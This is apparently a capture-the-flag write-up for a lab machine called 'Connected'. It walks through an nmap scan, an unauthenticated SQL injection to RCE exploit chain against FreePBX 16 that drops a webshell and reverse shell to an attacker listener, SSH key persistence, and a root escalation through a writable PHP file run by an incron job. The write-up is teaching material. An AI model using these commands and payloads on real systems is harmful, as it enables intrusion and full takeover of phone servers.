Post

Connected

Connected

Enumeration

We started with our enumeration process with a Nmap scan, this enables us to identify the open ports on the target machine.

Nmap Scan

We utilized the following command to identify the open ports:

1
2
┌──(n0xshell㉿kali)-[~/Connected]
└─$ nmap -A 10.129.111.82
Nmap Output

Nmap Output

Webpage Enumeration

Based on our Nmap scan, we have identified several open ports including HTTP(s) ports.

Connected Landing Page

Connected Landing Page

We have identified the version of FreePBX: 16.0.40.7. This specific version has known vulnerabilities in its admin configuration interface. Public exploits are available that chain SQL injection vulnerabilities to achieve unauthenticated remote code execution.

Exploitation

FREEPBX16 - Unauthenticated SQLI -> RCE

FreePBX 16.0.40.7 is vulnerable to unauthenticated SQL injection in its admin panel configuration.

CVEs Involved:

  • CVE-2025-57819 - Unauthenticated SQL Injection
  • CVE-2025-61678 - SQL Injection to RCE

We found a proof of concept script on Github which combines both CVEs into one exploit, enabling us to gain user-level access on the target machine.

How the Exploit Works

  1. SQLi to Admin Creation: The exploit injects SQL to create a new administrator account via stacked queries
  2. Authentication: Logs in with the newly created admin credentials
  3. File Upload/Execution: Uses the authenticated session to upload and execute a PHP webshell
  4. Reverse Shell: The webshell connects back to the attacker’s listener, providing remote code execution
    1
    2
    
    ┌──(n0xshell㉿kali)-[~/Connected/FreePBX-CVE-2025-57819-RCE]
    └─$ python3 exploit.py --rhost connected.htb --lhost 10.10.15.48 --lport 4444
    
Reverse Shell Obtained

Reverse Shell Obtained

Post-Exploitation

Post-Enumeration

After we successfully gained user-level access, we upgraded our current shell with an SSH login shell, which enables us to gain a full TTY (functional shell).

SSH authentication is far more reliable than reverse shells. It provides a stable, interactive terminal and allows for proper terminal emulation, which is essential for further enumeration on the target system.

SSH Login

We utilized the following commands to configure SSH for the user asterisk:

1
2
3
4
5
6
7
8
9
# Create SSH directory
bash-4.2$ mkdir -p ~/.ssh

# Add our Public SSH  Key
bash-4.2$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA/fvaf6Z2PYYiL9t0JZ11w7YTxEtDpKBkObkpI5qBH+ n0xshell@kali" >> ~/.ssh/authorized_keys
                  
# Ensure the permissions are correct set for the directory and file
bash-4.2$ chmod 700 ~/.ssh
bash-4.2$ chmod 600 ~/.ssh/authorized_keys
Obtained SSH Login

Obtained SSH Login

Identifying Cronjob

One of the crucial items to enumerate during post-enumeration is the running processes, especially those that are running under root. During our enumeration process, we identified an interesting process named: /usr/sbin/incrond

1
[asterisk@connected tmp]$ ps -aux | grep incrond
Identified Interesting Cronjob

Identified Interesting Cronjob

Incron Daemon

Incron is similar to cron, but instead of running commands on a time schedule, it watches for filesystem events (like file creation, deletion, or modification). When a watched event occurs, incron executes the associated command.

The incron configuration is stored in /etc/incron.d/ and typically runs with root privileges.

Enumerating Identified Cronjob

During our enumeration, we discovered that the legacy file has interesting jobs:

1
2
3
4
[asterisk@connected tmp]$ cat /etc/incron.d/legacy 
<SNIP>

/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha
Investigating ha_trigger

Investigating ha_trigger

Understanding Incron Syntax

Each line follows the format: PATH IN_EVENT COMMAND:

  • PATH: The file or directory to monitor
  • IN_EVENT: The filesystem event (IN_CLOSE_WRITE = file closed after writing)
  • COMMAND: The command to execute when the event occurs

The last entry is particularly interesting: monitoring /usr/local/asterisk/ha_trigger and executing /usr/sbin/sysadmin_ha with root privileges.

Investigating the sysadmin_ha Script

We control the ha_trigger file, so we need to examine what /usr/sbin/sysadmin_ha does:

1
2
3
4
5
6
7
8
9
10
11
<?php

if(file_exists("/var/www/html/admin/modules/freepbx_ha/license.php")) {
include_once("/var/www/html/admin/modules/freepbx_ha/license.php");
}

$i = "/var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php";
if (file_exists($i)) {
	require_once($i);
	$incron = new incron;
	$incron->rootTrigger()

Understanding the Original Script

1
2
3
4
5
if(file_exists("/var/www/html/admin/modules/freepbx_ha/license.php")) {

include_once("/var/www/html/admin/modules/freepbx_ha/license.php");

}
  • Checks if the license file exists (defensive programming—doesn’t fail if it doesn’t)
  • include_once() loads the license file if present (typically non-existent)
  • This doesn’t affect our exploit
1
2
3
4
5
6
7
$i = "/var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php";

if (file_exists($i)) {
    require_once($i);
    $incron = new incron;
    $incron->rootTrigger();
}

This is where the exploitation happens:

  1. file_exists($i) - Checks if our malicious incron.php exists
  2. require_once($i) - Loads and executes our PHP code with root privileges
  3. new incron - Creates an instance of the incron class we defined
  4. $incron->rootTrigger() - Calls our malicious method

The script assumes that incron.php is a trusted file that only FreePBX administrators can modify. However:

  • The directory /var/www/html/admin/modules/freepbx_ha/functions.inc/ is writable by the asterisk user
  • We (as the asterisk user) can create our own incron.php file
  • When incron triggers and runs /usr/sbin/sysadmin_ha, our code gets executed as root
  • The script doesn’t validate file ownership, permissions, or content—it blindly includes and executes whatever we put there

Post-Exploitation

Creating the Malicious Payload

Based on the PHP script above, we created the following payload and named it incron.php:

1
2
3
4
5
6
7
8
9
mkdir -p /var/www/html/admin/modules/freepbx_ha/functions.inc/ && cat > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php << 'EOF'

<?php
class incron {
    public function rootTrigger() {
        system('chmod u+s /bin/bash');
    }
}
EOF

Detailed Breakdown: Our Malicious PHP Code

1
2
3
4
5
class incron {
    public function rootTrigger() {
        system('chmod u+s /bin/bash');
    }
}

Class Definition:

  • We’re creating a class named incron that exactly matches the class name the original script expects
  • This is crucial because the script does new incron;—if the class didn’t exist, it would error and do nothing

The rootTrigger() Method:

  • This method is called directly by the sysadmin_ha script: $incron->rootTrigger();
  • It contains a single command: system('chmod u+s /bin/bash');

Triggering the Exploit

Incron monitors for the IN_CLOSE_WRITE event, which triggers when a file is closed after being modified. We simply touch the watched file:

1
touch /usr/local/asterisk/ha_trigger
Rooted Connected

Rooted Connected

This post is licensed under CC BY 4.0 by the author.